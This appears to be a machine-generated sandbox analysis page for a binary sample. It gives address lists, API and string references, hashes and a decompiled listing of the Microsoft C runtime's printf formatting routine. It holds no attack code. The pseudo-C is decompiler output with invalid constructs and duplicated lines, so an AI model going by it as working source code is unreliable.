0x00000000
0x00430641
0x00430633
0x00430573
0x00430573
0x0043057a
0x00000000
0x00000000
0x00000000
0x0043057a
0x00000000
0x00430712
0x00430712
0x00430716
0x00000000
0x00000000
0x00000000
0x00430716
0x00000000
0x00000000
0x0042fcd1
0x0042fcd4
0x0042fcd7
0x00000000
0x00000000
0x0042fcdc
0x0042fcdf
0x0042fce4
0x00000000
0x00000000
0x0042fcc6
0x0042fcc6
0x0042fcc9
0x0042fccc
0x00000000
0x00000000
0x0042fcbb
0x0042fcbe
0x0042fcc1
0x00000000
0x00000000
0x0042fce9
0x0042fce9
0x0042fcec
0x0042fcec
0x0042fcef
0x00000000
0x00000000
0x0042fcf2
0x00000000
0x00000000
0x0042fa8e
0x0042fa90
0x0042fa9e
0x0042fa92
0x0042fa92
0x0042fa92
0x0042faa8
0x0042faae
0x0042fabb
0x0042fabd
0x0042fac2
0x0042fac4
0x0042fac9
0x0042face
0x0042fad0
0x0042fad5
0x0042fadb
0x0042fadd
0x0042fadd
0x0042fadb
0x0042fade
0x0042fae5
0x00000000
0x0042fae7
0x0042faec
0x0042fb08
0x0042fb10
0x0042fb1d
0x0042fb22
0x004309e1
0x004309ee
0x004309ee
0x0042fae5
0x0042fa88
0x0043091d
0x00430924
0x0043093b
0x0043093b
0x00430945
0x00430945
0x0043094b
0x00430958
0x0043095a
0x0043095f
0x00430961
0x00430966
0x0043096b
0x0043096d
0x00430972
0x00430978
0x0043097a
0x0043097a
0x00430978
0x00430982
0x004309cd
0x004309d6
0x004309db
0x00430984
0x00430989
0x004309a5
0x004309ad
0x004309ba
0x004309bf
0x004309bf
0x00000000
0x00430982
0x00430926
0x0043092d
0x00000000
0x00000000
0x0043092f
0x0043092f
0x00000000
0x0043092f
0x00430712
0x0042ffdc
0x0042ffdc
0x0042ffe2
0x0042ffe9
0x0042ffee
0x0042fff1
0x00000000
0x0042fff1

APIs

_get_int_arg.LIBCMTD ref: 0042FFB9
_strlen.LIBCMT ref: 0042FFE9
_write_multi_char.LIBCMTD ref: 0043078E
_write_string.LIBCMTD ref: 004307A9
_write_multi_char.LIBCMTD ref: 004307D5
_wctomb_s.LIBCMTD ref: 00430852

Strings

-, xrefs: 0043072E
_output_s_l, xrefs: 0042FAFE
("Incorrect format specifier", 0), xrefs: 0042FABD, 0042FB03
f:\dd\vctools\crt_bld\self_x86\crt\src\output.c, xrefs: 0042FAC9, 0042FAF9

Memory Dump Source

Source File: 00000000.00000002.660207840.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.660193353.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.660246585.000000000043D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.660259740.000000000044D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.660264404.0000000000454000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.660273004.000000000045E000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7NAzyCWRyM.jbxd

Similarity

API ID: _write_multi_char$_get_int_arg_strlen_wctomb_s_write_string
String ID: ("Incorrect format specifier", 0)$-$_output_s_l$f:\dd\vctools\crt_bld\self_x86\crt\src\output.c
API String ID: 2232461714-3257747220
Opcode ID: f91b1a16c4ddcce268419561a212996bdd6a0198a263d0e4f8bad882cea4e7cb
Instruction ID: 0e7cf1eef2255eff20c986607595efd8b51468071588d640edecde6542d31d93
Opcode Fuzzy Hash: f91b1a16c4ddcce268419561a212996bdd6a0198a263d0e4f8bad882cea4e7cb
Instruction Fuzzy Hash: F8A18EB4D012289FDB24DF54CC99BEEB7B1BB48305F5082EAD0196B281D7789E84CF59

Uniqueness

Uniqueness Score: -1.00%

Function 004212D4, Relevance: 21.2, APIs: 9, Strings: 3, Instructions: 222
COMMON

Download Yara Rule

C-Code - Quality: 69%

			E004212D4(void* __eflags) {
				intOrPtr _t482;
				signed int _t484;
				signed int _t487;
				void* _t492;
				signed int _t494;
				void* _t502;
				void* _t520;
				signed int _t524;
				void* _t534;
				signed int _t567;
				signed int _t573;
				void* _t594;
				void* _t595;
				signed int _t596;
				void* _t598;
				void* _t599;

				L0:
				while(1) {
					L0:
					_t482 = E00420C00(_t596 + 0x14);
					_t599 = _t598 + 4;
					 *((intOrPtr*)(_t596 - 0x474)) = _t482;
					if( *((intOrPtr*)(_t596 - 0x474)) == 0) {
						goto L76;
					}
					L75:
					__ecx =  *(__ebp - 0x474);
					if( *(__ecx + 4) != 0) {
						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
						if(( *(__ebp - 0x10) & 0x00000800) == 0) {
							 *(__ebp - 0xc) = 0;
							__edx =  *(__ebp - 0x474);
							__eax =  *(__edx + 4);
							 *(__ebp - 4) =  *(__edx + 4);
							__ecx =  *(__ebp - 0x474);
							__edx =  *__ecx;
							 *(__ebp - 0x24) =  *__ecx;
						} else {
							__edx =  *(__ebp - 0x474);
							__eax =  *(__edx + 4);
							 *(__ebp - 4) =  *(__edx + 4);
							__ecx =  *(__ebp - 0x474);
							__eax =  *__ecx;
							asm("cdq");
							 *__ecx - __edx =  *__ecx - __edx >> 1;
							 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
							 *(__ebp - 0xc) = 1;
						}
						L80:
						while(1) {
							L187:
							if( *(_t596 - 0x28) != 0) {
								goto L212;
							}
							L188:
							if(( *(_t596 - 0x10) & 0x00000040) != 0) {
								if(( *(_t596 - 0x10) & 0x00000100) == 0) {
									if(( *(_t596 - 0x10) & 0x00000001) == 0) {
										if(( *(_t596 - 0x10) & 0x00000002) != 0) {
											 *((short*)(_t596 - 0x14)) = 0x20;
											 *(_t596 - 0x1c) = 1;
										}
									} else {
										 *((short*)(_t596 - 0x14)) = 0x2b;
										 *(_t596 - 0x1c) = 1;
									}
								} else {
									 *((short*)(_t596 - 0x14)) = 0x2d;
									 *(_t596 - 0x1c) = 1;
								}
							}
							 *((intOrPtr*)(_t596 - 0x4ac)) =  *((intOrPtr*)(_t596 - 0x18)) -  *(_t596 - 0x24) -  *(_t596 - 0x1c);
							if(( *(_t596 - 0x10) & 0x0000000c) == 0) {
								E00420B30(0x20,  *((intOrPtr*)(_t596 - 0x4ac)),  *((intOrPtr*)(_t596 + 8)), _t596 - 0x44c);
								_t599 = _t599 + 0x10;
							}
							E00420B70( *(_t596 - 0x1c), _t596 - 0x14,  *(_t596 - 0x1c),  *((intOrPtr*)(_t596 + 8)), _t596 - 0x44c);
							_t599 = _t599 + 0x10;
							if(( *(_t596 - 0x10) & 0x00000008) != 0) {
								if(( *(_t596 - 0x10) & 0x00000004) == 0) {
									E00420B30(0x30,  *((intOrPtr*)(_t596 - 0x4ac)),  *((intOrPtr*)(_t596 + 8)), _t596 - 0x44c);
									_t599 = _t599 + 0x10;
								}
							}
							if( *(_t596 - 0xc) != 0) {
								L208:
								E00420B70( *(_t596 - 0x24),  *(_t596 - 4),  *(_t596 - 0x24),  *((intOrPtr*)(_t596 + 8)), _t596 - 0x44c);
								_t599 = _t599 + 0x10;
								goto L209;
							} else {
								L201:
								if( *(_t596 - 0x24) <= 0) {
									goto L208;
								}
								L202:
								 *(_t596 - 0x4b0) =  *(_t596 - 4);
								 *(_t596 - 0x4b4) =  *(_t596 - 0x24);
								while(1) {
									L203:
									 *(_t596 - 0x4b4) =  *(_t596 - 0x4b4) - 1;
									if( *(_t596 - 0x4b4) <= 0) {
										break;
									}
									L204:
									_t520 = E0041EA40(_t596 - 0x40);
									_t524 = E0042F0C0(_t596 - 0x458,  *(_t596 - 0x4b0),  *((intOrPtr*)( *((intOrPtr*)(E0041EA40(_t596 - 0x40))) + 0xac)), _t520);
									_t599 = _t599 + 0x10;
									 *(_t596 - 0x4b8) = _t524;
									if( *(_t596 - 0x4b8) > 0) {
										L206:
										E00420AD0( *(_t596 - 0x458) & 0x0000ffff,  *((intOrPtr*)(_t596 + 8)), _t596 - 0x44c);
										_t599 = _t599 + 0xc;
										 *(_t596 - 0x4b0) =  *(_t596 - 0x4b0) +  *(_t596 - 0x4b8);
										continue;
									}
									L205:
									 *(_t596 - 0x44c) = 0xffffffff;
									break;
								}
								L207:
								L209:
								if( *(_t596 - 0x44c) >= 0) {
									if(( *(_t596 - 0x10) & 0x00000004) != 0) {
										E00420B30(0x20,  *((intOrPtr*)(_t596 - 0x4ac)),  *((intOrPtr*)(_t596 + 8)), _t596 - 0x44c);
										_t599 = _t599 + 0x10;
									}
								}
							}
							L212:
							if( *(_t596 - 0x20) != 0) {
								L0041D8B0( *(_t596 - 0x20), 2);
								_t599 = _t599 + 8;
								 *(_t596 - 0x20) = 0;
							}
							while(1) {
								L214:
								 *(_t596 - 0x454) =  *((intOrPtr*)( *((intOrPtr*)(_t596 + 0xc))));
								_t535 =  *(_t596 - 0x454) & 0x0000ffff;
								 *((intOrPtr*)(_t596 + 0xc)) =  *((intOrPtr*)(_t596 + 0xc)) + 2;
								if(( *(_t596 - 0x454) & 0x0000ffff) == 0 ||  *(_t596 - 0x44c) < 0) {
									break;
								} else {
									if(( *(_t596 - 0x454) & 0x0000ffff) < 0x20 || ( *(_t596 - 0x454) & 0x0000ffff) > 0x78) {
										 *(_t596 - 0x4d8) = 0;
									} else {
										 *(_t596 - 0x4d8) =  *(( *(_t596 - 0x454) & 0x0000ffff) + 0x4065b0) & 0xf;
									}
								}
								L7:
								 *(_t596 - 0x450) =  *(_t596 - 0x4d8);
								_t573 =  *(_t596 - 0x450) * 9;
								_t494 =  *(_t596 - 0x45c);
								_t543 = ( *(_t573 + _t494 + 0x4065d0) & 0x000000ff) >> 4;
								 *(_t596 - 0x45c) = ( *(_t573 + _t494 + 0x4065d0) & 0x000000ff) >> 4;
								if( *(_t596 - 0x45c) != 8) {
									L16:
									 *(_t596 - 0x4e0) =  *(_t596 - 0x45c);
									if( *(_t596 - 0x4e0) > 7) {
										continue;
									}
									L17:
									switch( *((intOrPtr*)( *(_t596 - 0x4e0) * 4 +  &M00421D34))) {
										case 0:
											L18:
											 *(_t596 - 0xc) = 1;
											E00420AD0( *(_t596 - 0x454) & 0x0000ffff,  *((intOrPtr*)(_t596 + 8)), _t596 - 0x44c);
											_t599 = _t599 + 0xc;
											goto L214;
										case 1:
											L19:
											 *(__ebp - 0x2c) = 0;
											__ecx =  *(__ebp - 0x2c);
											 *(__ebp - 0x28) = __ecx;
											__edx =  *(__ebp - 0x28);
											 *(__ebp - 0x18) =  *(__ebp - 0x28);
											__eax =  *(__ebp - 0x18);
											 *(__ebp - 0x1c) =  *(__ebp - 0x18);
											 *(__ebp - 0x10) = 0;
											 *(__ebp - 0x30) = 0xffffffff;
											 *(__ebp - 0xc) = 0;
											goto L214;
										case 2:
											L20:
											__ecx =  *(__ebp - 0x454) & 0x0000ffff;
											 *(__ebp - 0x4e4) = __ecx;
											 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
											 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
											__eflags =  *(__ebp - 0x4e4) - 0x10;
											if( *(__ebp - 0x4e4) > 0x10) {
												goto L27;
											}
											L21:
											_t59 =  *(__ebp - 0x4e4) + 0x421d6c; // 0x498d04
											__ecx =  *_t59 & 0x000000ff;
											switch( *((intOrPtr*)(__ecx * 4 +  &M00421D54))) {
												case 0:
													goto L24;
												case 1:
													goto L25;
												case 2:
													goto L23;
												case 3:
													goto L22;
												case 4:
													goto L26;
												case 5:
													goto L27;
											}
										case 3:
											L28:
											__ecx =  *(__ebp - 0x454) & 0x0000ffff;
											__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x2a;
											if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
												__edx =  *(__ebp - 0x18);
												__edx =  *(__ebp - 0x18) * 0xa;
												__eflags = __edx;
												_t83 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
												__ecx = __edx + _t83;
												 *(__ebp - 0x18) = __ecx;
											} else {
												__edx = __ebp + 0x14;
												 *(__ebp - 0x18) = E00420C00(__ebp + 0x14);
												__eflags =  *(__ebp - 0x18);
												if( *(__ebp - 0x18) < 0) {
													__eax =  *(__ebp - 0x10);
													__eax =  *(__ebp - 0x10) | 0x00000004;
													__eflags = __eax;
													 *(__ebp - 0x10) = __eax;
													__ecx =  *(__ebp - 0x18);
													__ecx =  ~( *(__ebp - 0x18));
													 *(__ebp - 0x18) = __ecx;
												}
											}
											L33:
											goto L214;
										case 4:
											L34:
											 *(__ebp - 0x30) = 0;
											goto L214;
										case 5:
											L35:
											__edx =  *(__ebp - 0x454) & 0x0000ffff;
											__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x2a;
											if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
												__ecx =  *(__ebp - 0x30);
												__ecx =  *(__ebp - 0x30) * 0xa;
												__eflags = __ecx;
												_t94 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
												__eax = __ecx + _t94;
												 *(__ebp - 0x30) = __ecx + _t94;
											} else {
												__eax = __ebp + 0x14;
												 *(__ebp - 0x30) = E00420C00(__ebp + 0x14);
												__eflags =  *(__ebp - 0x30);
												if( *(__ebp - 0x30) < 0) {
													 *(__ebp - 0x30) = 0xffffffff;
												}
											}
											goto L214;
										case 6:
											L41:
											__ecx =  *(__ebp - 0x454) & 0x0000ffff;
											 *(__ebp - 0x4e8) = __ecx;
											 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
											 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
											__eflags =  *(__ebp - 0x4e8) - 0x2e;
											if( *(__ebp - 0x4e8) > 0x2e) {
												L64:
												goto L214;
											}
											L42:
											_t102 =  *(__ebp - 0x4e8) + 0x421d94; // 0x15a19003
											__ecx =  *_t102 & 0x000000ff;
											switch( *((intOrPtr*)(__ecx * 4 +  &M00421D80))) {
												case 0:
													L47:
													__ecx =  *(__ebp + 0xc);
													__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
													__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x36;
													if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x36) {
														L50:
														__ecx =  *(__ebp + 0xc);
														__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
														__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x33;
														if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x33) {
															L53:
															__ecx =  *(__ebp + 0xc);
															__edx =  *__ecx & 0x0000ffff;
															__eflags = ( *__ecx & 0x0000ffff) - 0x64;
															if(( *__ecx & 0x0000ffff) == 0x64) {
																L59:
																L61:
																goto L64;
															}
															L54:
															__eax =  *(__ebp + 0xc);
															__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
															__eflags = __ecx - 0x69;
															if(__ecx == 0x69) {
																goto L59;
															}
															L55:
															__edx =  *(__ebp + 0xc);
															__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
															__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x6f;
															if(( *( *(__ebp + 0xc)) & 0x0000ffff) == 0x6f) {
																goto L59;
															}
															L56:
															__ecx =  *(__ebp + 0xc);
															__edx =  *__ecx & 0x0000ffff;
															__eflags = ( *__ecx & 0x0000ffff) - 0x75;
															if(( *__ecx & 0x0000ffff) == 0x75) {
																goto L59;
															}
															L57:
															__eax =  *(__ebp + 0xc);
															__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
															__eflags = __ecx - 0x78;
															if(__ecx == 0x78) {
																goto L59;
															}
															L58:
															__edx =  *(__ebp + 0xc);
															__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
															__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x58;
															if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x58) {
																 *(__ebp - 0x45c) = 0;
																goto L18;
															}
															goto L59;
														}
														L51:
														__eax =  *(__ebp + 0xc);
														__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
														__eflags = __ecx - 0x32;
														if(__ecx != 0x32) {
															goto L53;
														} else {
															 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
															 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
															goto L61;
														}
													}
													L48:
													__eax =  *(__ebp + 0xc);
													__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
													__eflags = __ecx - 0x34;
													if(__ecx != 0x34) {
														goto L50;
													} else {
														 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
														 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
														goto L61;
													}
												case 1:
													L62:
													__ecx =  *(__ebp - 0x10);
													__ecx =  *(__ebp - 0x10) | 0x00000020;
													 *(__ebp - 0x10) = __ecx;
													goto L64;
												case 2:
													L43:
													__edx =  *(__ebp + 0xc);
													__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
													__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x6c;
													if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x6c) {
														__eax =  *(__ebp - 0x10);
														__eax =  *(__ebp - 0x10) | 0x00000010;
														__eflags = __eax;
														 *(__ebp - 0x10) = __eax;
													} else {
														__ecx =  *(__ebp + 0xc);
														__ecx =  *(__ebp + 0xc) + 2;
														 *(__ebp + 0xc) = __ecx;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
													}
													goto L64;
												case 3:
													L63:
													__edx =  *(__ebp - 0x10);
													__edx =  *(__ebp - 0x10) | 0x00000800;
													__eflags = __edx;
													 *(__ebp - 0x10) = __edx;
													goto L64;
												case 4:
													goto L64;
											}
										case 7:
											L65:
											__eax =  *(__ebp - 0x454) & 0x0000ffff;
											 *(__ebp - 0x4ec) =  *(__ebp - 0x454) & 0x0000ffff;
											__ecx =  *(__ebp - 0x4ec);
											__ecx =  *(__ebp - 0x4ec) - 0x41;
											 *(__ebp - 0x4ec) = __ecx;
											__eflags =  *(__ebp - 0x4ec) - 0x37;
											if( *(__ebp - 0x4ec) > 0x37) {
												goto L187;
												do {
													do {
														while(1) {
															L187:
															if( *(_t596 - 0x28) != 0) {
																goto L212;
															}
															goto L188;
														}
														L183:
														__ebp - 0x249 = __ebp - 0x249 -  *(__ebp - 4);
														 *(__ebp - 0x24) = __ebp - 0x249 -  *(__ebp - 4);
														__ecx =  *(__ebp - 4);
														__ecx =  *(__ebp - 4) + 1;
														 *(__ebp - 4) = __ecx;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000200;
														__eflags =  *(__ebp - 0x10) & 0x00000200;
													} while (( *(__ebp - 0x10) & 0x00000200) == 0);
													__eflags =  *(__ebp - 0x24);
													if( *(__ebp - 0x24) == 0) {
														break;
													}
													L185:
													__eax =  *(__ebp - 4);
													__ecx =  *( *(__ebp - 4));
													__eflags = __ecx - 0x30;
												} while (__ecx == 0x30);
												L186:
												 *(__ebp - 4) =  *(__ebp - 4) - 1;
												 *(__ebp - 4) =  *(__ebp - 4) - 1;
												__eax =  *(__ebp - 4);
												 *( *(__ebp - 4)) = 0x30;
												__ecx =  *(__ebp - 0x24);
												__ecx =  *(__ebp - 0x24) + 1;
												__eflags = __ecx;
												 *(__ebp - 0x24) = __ecx;
												while(1) {
													L187:
													if( *(_t596 - 0x28) != 0) {
														goto L212;
													}
													goto L188;
												}
											}
											L66:
											_t143 =  *(__ebp - 0x4ec) + 0x421e00; // 0xcccccc0d
											__eax =  *_t143 & 0x000000ff;
											switch( *((intOrPtr*)(( *_t143 & 0x000000ff) * 4 +  &M00421DC4))) {
												case 0:
													L119:
													 *(__ebp - 0x2c) = 1;
													 *(__ebp - 0x454) & 0x0000ffff = ( *(__ebp - 0x454) & 0x0000ffff) + 0x20;
													__eflags = ( *(__ebp - 0x454) & 0x0000ffff) + 0x20;
													 *(__ebp - 0x454) = __ax;
													goto L120;
												case 1:
													L67:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
													__eflags =  *(__ebp - 0x10) & 0x00000830;
													if(( *(__ebp - 0x10) & 0x00000830) == 0) {
														__edx =  *(__ebp - 0x10);
														__edx =  *(__ebp - 0x10) | 0x00000020;
														__eflags = __edx;
														 *(__ebp - 0x10) = __edx;
													}
													goto L69;
												case 2:
													L81:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
													__eflags =  *(__ebp - 0x10) & 0x00000830;
													if(( *(__ebp - 0x10) & 0x00000830) == 0) {
														__ecx =  *(__ebp - 0x10);
														__ecx =  *(__ebp - 0x10) | 0x00000020;
														__eflags = __ecx;
														 *(__ebp - 0x10) = __ecx;
													}
													goto L83;
												case 3:
													L143:
													 *(__ebp - 0x460) = 7;
													goto L145;
												case 4:
													goto L0;
												case 5:
													L120:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													__edx = __ebp - 0x448;
													 *(__ebp - 4) = __ebp - 0x448;
													 *(__ebp - 0x44) = 0x200;
													__eflags =  *(__ebp - 0x30);
													if( *(__ebp - 0x30) >= 0) {
														L122:
														__eflags =  *(__ebp - 0x30);
														if( *(__ebp - 0x30) != 0) {
															L125:
															__eflags =  *(__ebp - 0x30) - 0x200;
															if( *(__ebp - 0x30) > 0x200) {
																 *(__ebp - 0x30) = 0x200;
															}
															L127:
															__eflags =  *(__ebp - 0x30) - 0xa3;
															if( *(__ebp - 0x30) > 0xa3) {
																__ecx =  *(__ebp - 0x30);
																__ecx =  *(__ebp - 0x30) + 0x15d;
																 *(__ebp - 0x20) = L0041CB30( *(__ebp - 0x30) + 0x15d,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																__eflags =  *(__ebp - 0x20);
																if( *(__ebp - 0x20) == 0) {
																	 *(__ebp - 0x30) = 0xa3;
																} else {
																	__edx =  *(__ebp - 0x20);
																	 *(__ebp - 4) =  *(__ebp - 0x20);
																	 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																	 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																}
															}
															 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
															 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
															__edx =  *(__ebp + 0x14);
															__eax =  *(__edx - 8);
															__ecx =  *(__edx - 4);
															 *(__ebp - 0x490) =  *(__edx - 8);
															 *(__ebp - 0x48c) =  *(__edx - 4);
															__ecx = __ebp - 0x40;
															_push(E0041EA40(__ebp - 0x40));
															__edx =  *(__ebp - 0x2c);
															_push( *(__ebp - 0x2c));
															__eax =  *(__ebp - 0x30);
															_push( *(__ebp - 0x30));
															__ecx =  *(__ebp - 0x454);
															_push( *(__ebp - 0x454));
															__edx =  *(__ebp - 0x44);
															_push( *(__ebp - 0x44));
															__eax =  *(__ebp - 4);
															_push( *(__ebp - 4));
															__ecx = __ebp - 0x490;
															_push(__ebp - 0x490);
															__edx =  *0x43de88; // 0xfb3c7abe
															E00427990(__edx) =  *__eax();
															__esp = __esp + 0x1c;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
															__eflags =  *(__ebp - 0x10) & 0x00000080;
															if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																__eflags =  *(__ebp - 0x30);
																if( *(__ebp - 0x30) == 0) {
																	__ecx = __ebp - 0x40;
																	_push(E0041EA40(__ebp - 0x40));
																	__ecx =  *(__ebp - 4);
																	_push( *(__ebp - 4));
																	__edx =  *0x43de94; // 0xfb3c7abe
																	E00427990(__edx) =  *__eax();
																	__esp = __esp + 8;
																}
															}
															__eax =  *(__ebp - 0x454) & 0x0000ffff;
															__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x67;
															if(( *(__ebp - 0x454) & 0x0000ffff) == 0x67) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																__eflags =  *(__ebp - 0x10) & 0x00000080;
																if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																	__ecx = __ebp - 0x40;
																	_push(E0041EA40(__ebp - 0x40));
																	__edx =  *(__ebp - 4);
																	_push( *(__ebp - 4));
																	__eax =  *0x43de90; // 0xfb3c7abe
																	__eax =  *__eax();
																	__esp = __esp + 8;
																}
															}
															__ecx =  *(__ebp - 4);
															__edx =  *( *(__ebp - 4));
															__eflags =  *( *(__ebp - 4)) - 0x2d;
															if( *( *(__ebp - 4)) == 0x2d) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																__ecx =  *(__ebp - 4);
																__ecx =  *(__ebp - 4) + 1;
																__eflags = __ecx;
																 *(__ebp - 4) = __ecx;
															}
															__edx =  *(__ebp - 4);
															 *(__ebp - 0x24) = E00422120( *(__ebp - 4));
															goto L187;
														}
														L123:
														__eax =  *(__ebp - 0x454) & 0x0000ffff;
														__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x67;
														if(( *(__ebp - 0x454) & 0x0000ffff) != 0x67) {
															goto L125;
														}
														L124:
														 *(__ebp - 0x30) = 1;
														goto L127;
													}
													L121:
													 *(__ebp - 0x30) = 6;
													goto L127;
												case 6:
													L69:
													 *(__ebp - 0xc) = 1;
													__ebp + 0x14 = E00420C00(__ebp + 0x14);
													 *(__ebp - 0x458) = __ax;
													__ecx =  *(__ebp - 0x10);
													__ecx =  *(__ebp - 0x10) & 0x00000020;
													__eflags = __ecx;
													if(__ecx == 0) {
														 *(__ebp - 0x448) =  *(__ebp - 0x458);
													} else {
														 *(__ebp - 0x458) & 0x0000ffff =  *(__ebp - 0x458) & 0xff;
														 *(__ebp - 0x470) = __dl;
														 *((char*)(__ebp - 0x46f)) = 0;
														__ecx = __ebp - 0x40;
														__eax = E0041EA40(__ebp - 0x40);
														__ecx = __ebp - 0x40;
														E0041EA40(__ebp - 0x40) =  *__eax;
														__ecx =  *(__ebp - 0x448 + 0xac);
														__edx = __ebp - 0x470;
														__eax = __ebp - 0x448;
														__eax = E0042F0C0(__ebp - 0x448, __ebp - 0x470,  *(__ebp - 0x448 + 0xac), __ebp - 0x448);
														__eflags = __eax;
														if(__eax < 0) {
															 *(__ebp - 0x28) = 1;
														}
													}
													__edx = __ebp - 0x448;
													 *(__ebp - 4) = __ebp - 0x448;
													 *(__ebp - 0x24) = 1;
													do {
														L187:
														if( *(_t596 - 0x28) != 0) {
															goto L212;
														}
														goto L188;
													} while ( *(__ebp - 0x4ec) > 0x37);
													goto L66;
												case 7:
													L140:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													 *(__ebp - 8) = 0xa;
													goto L150;
												case 8:
													L105:
													__eax = __ebp + 0x14;
													 *(__ebp - 0x484) = E00420C00(__ebp + 0x14);
													__eax = E0042F010();
													__eflags = __eax;
													if(__eax != 0) {
														L115:
														__ecx =  *(__ebp - 0x10);
														__ecx =  *(__ebp - 0x10) & 0x00000020;
														__eflags = __ecx;
														if(__ecx == 0) {
															__ecx =  *(__ebp - 0x484);
															__edx =  *(__ebp - 0x44c);
															 *__ecx =  *(__ebp - 0x44c);
														} else {
															__edx =  *(__ebp - 0x484);
															__ax =  *(__ebp - 0x44c);
															 *( *(__ebp - 0x484)) = __ax;
														}
														 *(__ebp - 0x28) = 1;
														while(1) {
															L187:
															if( *(_t596 - 0x28) != 0) {
																goto L212;
															}
															goto L188;
														}
													}
													L106:
													__ecx = 0;
													__eflags = 0;
													if(0 == 0) {
														 *(__ebp - 0x4f4) = 0;
													} else {
														 *(__ebp - 0x4f4) = 1;
													}
													__edx =  *(__ebp - 0x4f4);
													 *(__ebp - 0x488) =  *(__ebp - 0x4f4);
													__eflags =  *(__ebp - 0x488);
													if( *(__ebp - 0x488) == 0) {
														_push(L"(\"\'n\' format specifier disabled\", 0)");
														_push(0);
														_push(0x695);
														_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
														_push(2);
														__eax = L0041F590();
														__esp = __esp + 0x14;
														__eflags = __eax - 1;
														if(__eax == 1) {
															asm("int3");
														}
													}
													__eflags =  *(__ebp - 0x488);
													if( *(__ebp - 0x488) != 0) {
														L114:
														while(1) {
															L187:
															if( *(_t596 - 0x28) != 0) {
																goto L212;
															}
															goto L188;
														}
													} else {
														L113:
														 *((intOrPtr*)(L0041F530(__ecx))) = 0x16;
														__eax = E0041F2C0(__ebx, __ecx, __edi, __esi, L"(\"\'n\' format specifier disabled\", 0)", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
														 *(__ebp - 0x4cc) = 0xffffffff;
														__ecx = __ebp - 0x40;
														__eax = E0041EA10(__ecx);
														__eax =  *(__ebp - 0x4cc);
														goto L225;
													}
												case 9:
													L148:
													 *(__ebp - 8) = 8;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
													__eflags =  *(__ebp - 0x10) & 0x00000080;
													if(( *(__ebp - 0x10) & 0x00000080) != 0) {
														__edx =  *(__ebp - 0x10);
														__edx =  *(__ebp - 0x10) | 0x00000200;
